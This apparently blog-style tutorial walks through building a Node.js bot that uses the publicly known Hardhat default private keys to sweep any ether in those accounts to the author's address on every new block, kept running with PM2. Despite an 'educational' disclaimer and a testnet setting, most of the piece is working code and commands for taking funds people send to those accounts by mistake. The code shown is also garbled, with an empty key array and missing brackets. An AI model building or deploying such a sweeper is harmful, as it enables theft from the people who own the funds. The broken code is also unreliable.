Skip to content Skip to sidebar Skip to footer

This guide is intended for educational and/or research purposes only!

During this tutorial, we’ll build a bot that automatically withdraws funds from an account whenever it receives Ethereum.

Important: It’s critical to realize that if a user’s private key is stolen, their account will be automatically compromised. A private key is being sought by bots all over the place! If you publish your private key on GitHub or another website by mistake, you will lose all of your funds and the security of your account will be permanently compromised.

We’ll use accounts from Hardhat for this example (Hardhat is an Ethereum developer environment). For testing purposes, Hardhat provides you with 20 deterministic accounts, but some people mistakenly send real Ethereum to those accounts. There are a lot of hungry bots out there, eager to get their hands on that ether.

In our case we will launch the bot on Rinkeby (Ethereum test network) in order to avoid competing with Mainnet bots.

Get access to Hardhat private keys

Running the command npx hardhat node will retrieve the private keys. You don’t need to follow this command. I’ve listed the private keys below so you can copy and paste them easily.

hardhat private keys ethereum

Important: Every user requesting Hardhat accounts will get the same data. If we look at one of the above accounts’ MainNet transaction history, we can see that there have been multiple transfers in the past.

Hardhat Ethereum Transactions on Mainnet

Create the Ethereum bot

We will build the bot using JavaScript, with the only dependencies being NodeJS and the ethers library. The ethers.js library aims to be a complete and compact library for interacting with the Ethereum Blockchain and its ecosystem.

Run the following commands:

mkdir eth_bot
cd eth_bot
npm init
npm i ethers 
touch eth_bot.js

Add the following code to eth_bot.js file:

const { ethers } = require("ethers");
const provider = new ethers.providers.JsonRpcProvider("rinkeby_or_alchemy_or_infura_url");
const addressReceiver = "your_eth_address";

const privateKeys =

Add an Infura, Alchemy or any other provider’s URL to const provider and your ETH address to the addressReceiver constant.

We can now get to work on the actual bot. Just after the privateKeys array, insert the following code:

const bot = async () => {
  provider.on("block", async () => {
    console.log("Listening new block, waiting..)");
    for (let i = 0; i < privateKeys.length; i++) {
      const _target = new ethers.Wallet(privateKeys[i]);
      const target = _target.connect(provider);
      const balance = await provider.getBalance(target.address);
      const txBuffer = ethers.utils.parseEther(".005");
      if (balance.sub(txBuffer) > 0) {
        console.log("NEW ACCOUNT WITH ETH!");
        const amount = balance.sub(txBuffer);
        try {
          await target.sendTransaction({
            to: addressReceiver,
            value: amount
          console.log(`Success! transfered --> ${ethers.utils.formatEther(balance)}`);
        catch (e) {
            console.log(`error: ${e}`);


Every time a new block is mined, we are listening and iterating over the 20 accounts to see if they have any Ethereum. If affirmative, we transfer the funds to our ETH address.

Run the Ethereum Bot

When you’re ready, run the following command and start the bot: node eth_bot.js

Keep the Ethereum bot running indefinitely

PM2 is a Node.js process manager with an integrated load balancer. It makes it easier to make production deployments and gives you the ability to run applications indefinitely (even when accidents occur).

Install PM2 by running the following command: npm i pm2

The PM2 binary can be used to start the bot in background. In order to keep the bot running indefinitely, it starts a daemon that monitors your application.

Run the following command and start the bot using PM2: pm2 start eth_bot.js

Ethereum Bot PM2

Have fun!

Leave a comment

> Newsletter <
Interested in Tech News and more?